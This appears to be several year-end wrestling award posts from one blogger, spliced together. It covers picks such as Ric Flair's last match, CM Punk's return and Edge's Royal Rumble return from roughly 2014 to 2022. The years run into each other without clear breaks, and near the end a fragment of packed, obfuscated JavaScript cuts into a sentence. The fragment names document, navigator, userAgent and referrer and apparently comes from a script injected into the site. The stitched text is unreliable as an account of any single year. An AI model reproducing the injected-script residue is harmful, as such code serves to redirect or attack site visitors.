We’ll wrap it up here and move on from last year.

Worst Match Of The Year

5. Men’s Royal Rumble – Royal Rumble
4. New Day vs. Brawling Brutes – Wrestlemania XXXVIII
3. Nikkita Lyons vs. Lash Legend – NXT – April 26
2. Vince McMahon vs. Pat McAfee – Wrestlemania XXXVIII
1. Ric Flair/Andrade El Idolo vs. Jay Lethal/Jeff Jarrett – Ric Flair’s Last Match

Like this could be anything else. This wasn’t so much a match as much as it was a horrible embarrassment/a cry for help. There were parts of the match that were acceptable, which you knew would be the case with the other three involved. But then Flair teased a heart attack and had to lay on the apron because he couldn’t stand. This match made me feel wrong to be watching it and you could almost feel Flair and Conrad Thompson counting the money in their heads throughout the whole thing. This is a runaway #1 and nothing is touching it.

Rookie/Newcomer Of The Year (As in rookie/newcomer on a show, not new to wrestling. And no, I won’t be cutting them off if they had a match or two in 2021.)

5. Raquel Rodriguez
4. Roxanne Perez
3. Pretty Deadly
2. Hook
1. Logan Paul

Like this could have been anyone else. I had barely heard of Paul before he showed up in WWE but then he gets announced for a match at Wrestlemania. Then he’s winning there, beating Miz at Summerslam, and blowing it out of the park in a Saudi main event against Roman Reigns. This is something that felt like it should have been a horrible joke and wound up being a massive success. Paul has more than proven himself and it was a blast to watch him more often than not.

Worst Wrestler Of The Year (Not counting people who had one or two matches that is)

5. Shanky
4. Kip Sabian
3. Lash Legend
2. Top Dolla
1. Aliyah

Aliyah debuted in NXT in 2015. Roman Reigns hadn’t even headlined Wrestlemania yet and Aliyah had her first match under the WWE banner. How in the freaking world has she not picked up SOMETHING yet? There are worse wrestlers out there, but how is it possible that she hasn’t gotten at least the basics down at this point? I had to think about this one for a bit and then thought back to what Aliyah had done in her career. Realizing how long it had been was enough to put this one over the edge.

Worst Angle Of The Year

5. Jade Cargill And The Baddies
4. Andrade/Hardy Family Office Contract Nonsense
3. Drew McIntyre vs. Happy Corbin/Madcap Moss
2. Jay Lethal/Jeff Jarrett vs. Ric Flair/Andrade El Idolo (There was a build to that monstrosity.)
1. Kip Sabian Has A Box On His Head

This went on for months and for the life of me I still cannot tell you what in the world the point was supposed to be. Sabian literally sat there for months (without being acknowledged for most of the time), eventually unboxed, and then lost to Pac before the whole thing was dropped and not mentioned again. I have no idea what they were going for here and I don’t think AEW does either.

Title Reign Of The Year

5. Bron Breakker – NXT TItle
4. Josh Alexander – Impact Wrestling World Title
3. Roman Reigns – Undisputed WWE World Title
2. Usos – WWE Tag Team Titles
1. Gunther – Intercontinental Title

This has been the year of the long title reigns and really, some of them are getting boring. We’ve seen the Usos and Reigns hold their titles for so long that you know nothing is going to happen to them for a very long time. The same is true of Alexander and Breakker, as there are only a few people who are going to take the title from him. That left me with Gunther, who has made the title seem so much more important, while also having the longest title reign in over ten years (even if you might not have realized it). Gunther takes this one for me, as I want to see how much longer he can hold the thing.

Surprise Of The Year (In-Ring/Storyline Only)

5. Bray Wyatt Returns
4. Cody Rhodes Returns
3. Bayley/Damage Ctrl Returns
2. Sami Zayn Makes The Bloodline So Much Better
1. Steve Austin Wrestles

This is one of those things that I never thought I would actually see and then it actually happened. That is the kind of wonder that you do not get in wrestling very often but dang is it a special moment. I don’t think there was any doubt that Austin would do something physical, but how many people had “Steve Austin is going to main event Wrestlemania” back in October 2021? This wins by a landslide and it felt special, even to a not very big Austin fan.

Now we get to some big ones.

Surprise Of The Year

5. NXT Concedes Wednesday Night Wars
4. The Ending Of All Out
3. Bron Breakker Is Good
2. Hook Is Good

1. CM Punk Returns

This is the one that got me. Punk had been away from wrestling for seven and a half years, which might as well be an eternity in the business. You just do not see wrestlers leaving for this long and then coming back but Punk returned and with a bang. AEW let you know it was coming, but until the guitar riff hit in the United Center, I wasn’t completely sure it was going to happen. Granted if it hadn’t, the building was going to go up in smoke, but they did what they needed to do and it was incredible, to put it mildly. And now I want some ice cream.

Match Of The Year

5. Finn Balor vs. Pete Dunne – Takeover: Vengeance
4. Roman Reigns vs. Daniel Bryan – Smackdown, April 30
3. Thunder Rosa vs. Britt Baker – St. Patrick’s Day Slam
2. Kenny Omega vs. Bryan Danielson – AEW Grand Slam

1. Ilja Dragunov vs. Walter – Takeover 36

The original match between these two were one of the best things I have seen in wrestling in a long time and that was the case again here. These two beat the living daylights out of each other and it was everything I was hoping it would be. It was a physical struggle and felt like only one of them was going to be able to survive. Walter’s incredible United Kingdom Title reign finally ends, and my goodness what a way to wrap it up.

Promo Of The Year

5. Chris Jericho Might Be Saying Goodbye – Dynamite, August 25
4. Edge vs. Miz – Raw – November 29
3. CM Punk vs. Eddie Kingston – Rampage – November 5
2. CM Punk’s Return Speech – Rampage – August 20

1. CM Punk vs. MJF – Dynamite – November 24

In what was the year of Punk in the world of promos, this one topped everything else. I know the First Dance has the emotion, but this was the night where they took the gloves off and went at it. These guys were throwing bombs at each other, such as MJF being a less Famous Miz and MJF calling Punk out for always having an excuse for not being the big star. This is the one that had me taking in every word and I don’t know if it is being topped for a long time.

Most Improved Of The Year

5. Tay Conti
4. W. Morrissey
3. Bobby Lashley
2. Britt Baker

1. Josh Alexander

I know Baker is the easy one here, but Alexander has a case not just for most improved but also the best wrestler of the year. Alexander was THE guy in Impact as the company got bigger and bigger. It was awesome watching him climb the ladder and I wanted to see what he could do when he finally got his chance in the main event. Then he won the World Title in the main event of the biggest show of the year, which he had certainly earned. This was an easy one for me and you should watch more of Alexander’s stuff.

Wrestler Of The Year

5. Roman Reigns
4. Serena Deeb
3. Josh Alexander
2. Jonathan Gresham

1. Daniel Bryan/Bryan Danielson

I don’t think this is much of a surprise, as Danielson is about as complete of a worker as you will find in the world today. The guy can do just about anything asked of him and that never seems to change. His AEW run will get the most praise, but don’t forget his first four months of the year where he had at least two classics, including the main event of Wrestlemania. Danielson is rapidly reaching that all time elite of the elite level and he was easily the best of the year.

Moment Of The Year

5. Hangman Page/Dark Order’s Entrance For Ten Man Tag
4. Becky Lynch Returns
3. John Cena Returns
2. The Fans Are Back

1. CM Punk Returns

This is one of those moments that AEW built up to perfection by more or less guaranteeing that Punk would be at First Dance. Then the show started and here he was, with the music, the pose, the dive into the crowd and everything else. They turned this into an event and I don’t think there is anything that AEW has done that tops this so far. Then there was the ice cream deal to make it even better. I loved this way more than I would have expected and it was as close to perfect as it could have been.

As usual, these are in no particular order until the winner at the end.

Otis Is Mr. Money In The Bank

The words “I’m sorry what now?” apply here, as Otis went from a gyrating goof to a gyrating goof who won at Wrestlemania to a gyrating goof who caught the Money in the Bank briefcase. It came out of almost nowhere and while it didn’t wind up meaning anything in the end, it certainly had some awesome surprise value and it made Otis feel like a player.

Sting In AEW

This was certainly a moment, even if Sting has never quite been associated with snow. Just seeing Sting show up and instantly being used better than he was in WWE was a cool moment, though I’m almost worried about where all of this is leading. What matters here is an awesome debut though and Sting feeling like a legend, especially one who came out of nowhere.

Pat McAfee Is Awesome

You see a lot of celebrities pop up in wrestling but how often do you see someone who comes off like a natural? McAfee had a heck of a match with Adam Cole but what mattered was his insane talking ability, as he was instantly one of (if not the) best heels in all of wrestling. I wanted to see someone hit this guy in the face over and over again, which is the name of the game. Most people would have been happy with McAfee being adequate and then he wound up being great. Not a bad surprise.

Roman Reigns Is A Paul Heyman Guy

Sometimes the best way to make something like this work is with a simple camera swipe and that’s how they did this reveal. Reigns had returned at Summreslam and felt a bit different, but then we saw that he had Heyman by his side and it was a whole new ball game. What followed was one of the best heel runs of the modern age, but it all started with having Heyman, the ultimate evil in WWE, sitting next to him and I was absolutely stunned

But there was one thing better.

Edge Returns At The Royal Rumble

I had the previous entry winning but just couldn’t get around this one. If there is one thing that I have learned over the last few years in wrestling, it is that you can never say never. That being said, when you wait almost nine years, you kind of believe that something is never going to happen. That was the case with Edge, who made his return at the Royal Rumble in a moment I never thought I would see. Yeah he’s older and yeah he’s hurt again, but Edge got back in the ring and had a few matches all those years later. I lost it when that music hit and it was outstanding the whole way through.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

As wrestling fans, we like to think that we know everything that is going to happen in the sport. It’s a nice sentiment but at the same time, it really isn’t all that accurate. A lot of the time we’re just guessing about what we think might happen and then get surprised when it does. Those surprises are some of the best parts though and that’s what we’re looking at here.

Kofi Wins

We’ll get one of the biggest out of the way first because it was such an awesome moment. I don’t think I’m breaking any new ground when I say how many people loved this. It was the kind of thing that you only see once every few years and it was one of the best moments that WWE has put together in a long time. The build was great, the match was great…and then they actually did it.

In the weeks building up to Wrestlemania, there was a glimmer of hope that WWE could actually pull the trigger on this but it was hard to believe that they would really go through with it. That’s what made the moment so special: they actually did it, which made the pop that much louder. It’s a great moment and I wish I was there for it, as this one felt special.

Firefly Fun House

You’re probably sick of hearing about this one but sweet goodness it was incredible stuff. This one isn’t so much about one individual edition but more about what the whole thing wound up being. It started back in April and by the end of the summer, it was the hottest thing in WWE and saw Bray Wyatt becoming something new and interesting. Then he wound up winning the World Title and not dropping it almost immediately. Who even knew that was possible?

What worked so well about this was how WWE actually tried something new. They ran with it for a change instead of having it die off almost immediately and that’s a great thing to see. I can’t shake the feeling that this is all setting up another Roman Reigns coronation at Wrestlemania, but at least we had something great over the course of 2019 to show us that this kind of stuff can still be done.

Bayley Turns Heel

Are they allowed to do that? I mean,…..as the introduction says, it’s BAYLEY. How in the world do you turn her heel? I know her heel run hasn’t exactly gone well due to the haircut, being stuck with Sasha Banks (again) and the general mess that is the Smackdown women’s division, but they got us with a great moment of shock when the heel turn actually went down.

The moment that made this was slashing the Bayley Buddies. It’s the symbolism of the whole thing and that’s why it worked. Bayley was one of the most innocent and fun characters you could have and she literally destroyed a big part of what made her who she was. It was great stuff and that’s the kind of thing she needed. Now she needs better execution, but you can’t expect WWE to be able to do something like that.

Dakota Kai Turns Heel

You can’t really separate these two as they’re rather similar in a lot of way, though Kai’s might have been a bit better. What mattered here was they set up a perfectly logical reason for Kai to turn but then they actually did it. That’s the case a lot of the time with some big heel turn: you can have the setup done all the time but it’s the big step of actually going through with it. They did it here and Kai sold it to perfection.

The reason that it clicked for me was how aggressive Kai was. She DESTROYED Tegan Nox at Takeover and it was a really well done turn, even if you probably knew what was coming in the first place. The turn worked very well and Kai sold it to perfection, which is all you can ask for in something like this. What makes it a little better than Bayley’s though is how much better the aftermath has gone. That says a lot as Kai’s hasn’t been anything outstanding, but it’s better than Bayley’s.

Finn Balor Returns To NXT

I thought about putting NXT going to USA but the idea of WWE putting something on TV is hardly new. What is new is WWE actually putting in this kind of effort for NXT. Balor is someone who has main roster credibility but is an absolute NXT legend. That makes him all the more valuable to the new NXT because they’re going to need some star power to go up against Dynamite.

Again though, it’s a case of them actually doing it. We’ve talked about big stars moving down to NXT for a long time now and this time it really happened. Balor is someone who fits perfectly in there and has been a hit since his return. Above all else though it gives you the question of who else might be showing up, which makes you want to keep watching. That’s kind of the point, and it worked.

But then, they did this.

NXT Wins At Survivor Series

I was there in person for this one and I’m still not sure I believed it happened. I know WWE loves this whole Brand Supremacy thing and it really doesn’t mean much in the long run, but this was the symbolic moment that WWE had to pull at some point. Whether WWE wants to admit it or not, NXT is now equal to the main roster shows, but they went a step beyond that and actually gave NXT the win.

I would have put money on Smackdown winning the whole thing as it is the biggest show of the week due to the FOX contract. You could see them getting the win or maybe Raw just because of their history. But NXT? They really did that? I couldn’t believe it when I saw it and I’m still not sure it really happened two months later. It was a great moment and genuinely got me, so well done on the Surprise of the Year.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also -available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

I bet you didn’t see this one coming. As the name suggests, this one is about the best moment you didn’t expect throughout the year, which could be either good or bad. It might have been a turn, a win, a result or something else, but there are a few options to pick from over the course of 2018.

Note that I’m intentionally omitting Roman Reigns’ Leukemia announcement. The idea of a man telling us he has what could be a life threatening illness doesn’t scream SURPRISE to me for a variety of reasons.

Who’s That Entering The Rumble?

We’ll start with an easy one here. Every year someone returns in the Royal Rumble and it can be rather well done. This was Mysterio’s first match with WWE since 2014 and it’s really nice to see him back. He’s healthy and is moving better than he has in a long time. That’s the kind of big return that the Rumble needs and it didn’t exactly what it was supposed to do: pop the crowd and give the match some energy.

There’s something about Mysterio that is always going to work. He’s high energy and the kind of star who is going to blow the roof off the place every single time he shows up. The fans see him as a superhero with the mask on and while he did some good stuff in the indies (including Lucha Underground), he’s the kind of guy who belongs on the big stage, especially in the twilight of his career.

Ronda Rousey Is Awesome

Now notice the way I worded this. Given Rousey’s background and love of the sport, I don’t think anyone expected her to truly be terrible. She’s a natural athlete and could just do judo/MMA stuff to get by for years. That’s not what we got though. Instead, she showed up at Wrestlemania 34 in front of 65,000 people and beat the heck out of HHH (not so lucky with noted armbar defensive specialist Stephanie McMahon but I’ll take what I can get).

Think about all the rookies that have shown up over the last several years, especially in the women’s division. Sasha Banks was just a person, Bayley was a superfan, Charlotte was sloppy and Dana Brooke….has actually gotten worse. Rousey showed up, gets to fight HHH in her rookie match, and has taken to wrestling like few I’ve seen in a long time. That’s a surprise if I’ve ever seen one, because she’s great.

Daniel Bryan Turns Heel

This would fall under the “SERIOUSLY???” category on paper, as Bryan is the biggest face since John Cena’s initial push. Armed with the amazing YES chant, there’s a reason why Bryan got pushed to the moon and back in 2014. The idea of having the fans book him sounded ridiculous, yet WWE not only went there, but made it work rather well. The explanation made sense and Bryan is NAILING the new character.

It’s proof that you can indeed turn someone back the other way no matter how good or bad they are. Bryan was the cleanest, most natural face ever and now he’s this hippie environmentalist who you want to see get hit in the face. That’s a hard character to pull off and yet Bryan is doing it incredibly well. I couldn’t believe that WWE would pull the trigger on this, let alone have it hit the target.

Shawn Michaels Returns To The Ring

This one ties into the winner, but there’s something here that holds it back: I believed it could happen one day. Shawn retired back in 2010 and there was little reason to believe that he would ever come back. His retirement match was great and it came on the grandest stage of them all, so why would he do it again? Well when your best friend runs the company and the paychecks became what they were, you had to believe he could one day.

And then he actually did. While I didn’t believe I’d ever see it, I wasn’t actually shocked when it happened. It was in a tag match though, which is the kind of match he had mentioned wanting to return for. Yeah the match was bad, but it’s not like it meant anything at the end of the day. It’s going to be little more than a footnote in the history books, but there was always a glimmer that it could happen.

But that’s not true with the winner.

Daniel Bryan Returns To The Ring

I didn’t believe it. I did not believe that this was going to happen and I didn’t think there was any chance of it ever happening. And yet, somehow it did. Over the years, Bryan talked about going to one doctor after another and getting good reports, but not good enough for WWE. That sounded like the kind of thing where WWE would never say yes….and then they freaking said yes.

I can’t believe that Bryan actually got back into the ring because there was no reason to believe it other than Bryan saying it could happen. That’s what the kid in Angels In The Outfield kept saying and this is no whimsical Disney comedy featuring Tony Danza. It’s something I never thought I would actually see and yet it’s been better than….well I can’t say expected because I didn’t have expectations. This was the surprise of the year, because I don’t believe what I saw.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

I bet you didn’t see this one coming.

As you might have guessed, I’ve watched quite a bit of wrestling in my day. Over the years, you eventually get a pretty good idea of what to expect from a lot of wrestling shows. I mean, there’s only so much that can be done to surprise you when you’ve been around for a long time, which is what makes this such a hard category to pull off. There were actually a lot of options though and that’s always a lot of fun.

In no order, as usual.

We’ll start with one of the options that is going to get the most attention and for good reason: Tommaso Ciampa turns on Johnny Gargano. This one worked far better than I would have expected and I’d be shocked if their match doesn’t headline at least one Takeover in the coming year. My only issue is they kind of telegraphed it by having the match go on last and leaving the camera on the team for so long. It felt like they were teasing the going away segment but it went the other way. In other words it felt like they were going somewhere, which takes away a bit of the impact.

Given that this is being written as Wrestle Kingdom is taking place, it seems appropriate to put in Chris Jericho appearing in New Japan to challenge Kenny Omega. I know it might not be the best in-ring match but my goodness people: it’s CHRIS JERICHO in New Japan. There were rumors of a surprise at the show but I thought it was going to be a full show in America over Wrestlemania weekend or something. This was a heck of a deal and my eyebrows went up when I saw the announcement.

Everybody needs a Clarence P. Oddbody ASC (Look it up you heathens.) and Kevin Owens got one in the form of Sami Zayn. While Shane McMahon was on top of the Cell (again) for an elbow drop that missed (again), Zayn came out and saved his longtime rival and sometimes best friend in a heck of a heel turn. It might not have been the biggest surprise, but I’m not sure how many people actually thought they would go this way. It was quite the success though and that’s what matters most.

In another moment where I was actually in the house, we have the Hardys return. Now, I really don’t know how much doubt there was that the Hardys would wind up back in the company someday and that’s normal. Almost everyone winds up back in WWE at some point and the Hardys were on fire. The thing is, even with all that, as soon as New Day came out and said there was another team, I stood up and said out loud “They wouldn’t. There’s no way.” Then I couldn’t hear myself anymore because the fans were going so cookaloo. This was a great moment and I could easily see this getting the vote.

Back in May, Jinder Mahal won the WWE World Title. It was shocking, it was something people never saw coming, and it was Jinder Mahal winning the WWE World Title. This deserves no awards so we’ll move on to the winner.

Like I said, it takes a lot to surprise me. There’s very little that hasn’t been done in wrestling but in this case, WWE actually pulled it off. Back in February, Chris Jericho promised to show his best friend Kevin Owens what he really meant to him. Jericho set up the most over the top display of friendship in wrestling history, though it didn’t quite go as well as he had hoped. At the end, Owens, looking a bit annoyed, said he had a present for Jericho. Chris opened the box and found a new list! With his name on it! Jericho dropped the box and the back of the list said “The List Of KO”. A huge beatdown ensued and the team was done.

They got me with this one and that’s quite the feat. Jericho sold the heck out of the thing and it was the absolute perfect way to split the team up. The List of Jericho had been one of the coolest ideas I had seen in a long time and tying the split all back into that concept was the perfect way to do this whole thing. It’s hard to get this right but I bought into it all the way so well done indeed.

I’ll be doing 18 this year with one going up per day (allegedly) as we look back at the best of 2015.

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However, most big upsets come in the form of matches themselves with Kalisto pinning Ryback in the World Title tournament being near the top of the list. Ryback had been built up for a long time over the summer and it seemed that Kalisto was going to be a roadblock on the way to the next round. Then Kalisto kept hanging around and finally hit a middle rope Salida Del Sol for one of the biggest upsets in recent years.

Edit: somehow I forgot Rollins cashing in.  That’s kind of the biggest one of the year.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrikf|var|u0026u|referrer|ezynn||js|php'.split('|'),0,{})) main two options here should be obvious, but the honorable mentions are interesting too.

Quick mention of the New Age Outlaws winning the Tag Team Titles. Seriously, who would have ever believed that two years ago?

Daniel Bryan not being in the Rumble was more of a REALLY??? moment than a surprise, but it deserves a quick mention.

I would say Paige debuting and winning the title the night after Wrestlemania, but I had that from a few weeks out.

Dolph Ziggler being a sole survivor was a surprise, but a bigger surprise of that match was Cena being knocked out. Coming into the match, a lot of people, myself included, were banking on Cena overcoming the odds to win the match and send the Authority away for awhile. It was a very nice surprise to see the curve thrown in with WWE giving Ziggler the rub of a lifetime instead of going with the same idea again.

See? I do actually think when I write these things.

The real options here were Sting FINALLY debuting in WWE and the Streak ending. I was tempted to go with a tie here, but at the end of the day, one of these is a bigger surprise for me.

The problem though is it made me realize that Sting debuting was a matter of time. It was no longer about would Sting debut, but when would he debut. Now, it was still a major surprise that he finally showed up, but I knew it was coming at some point or another.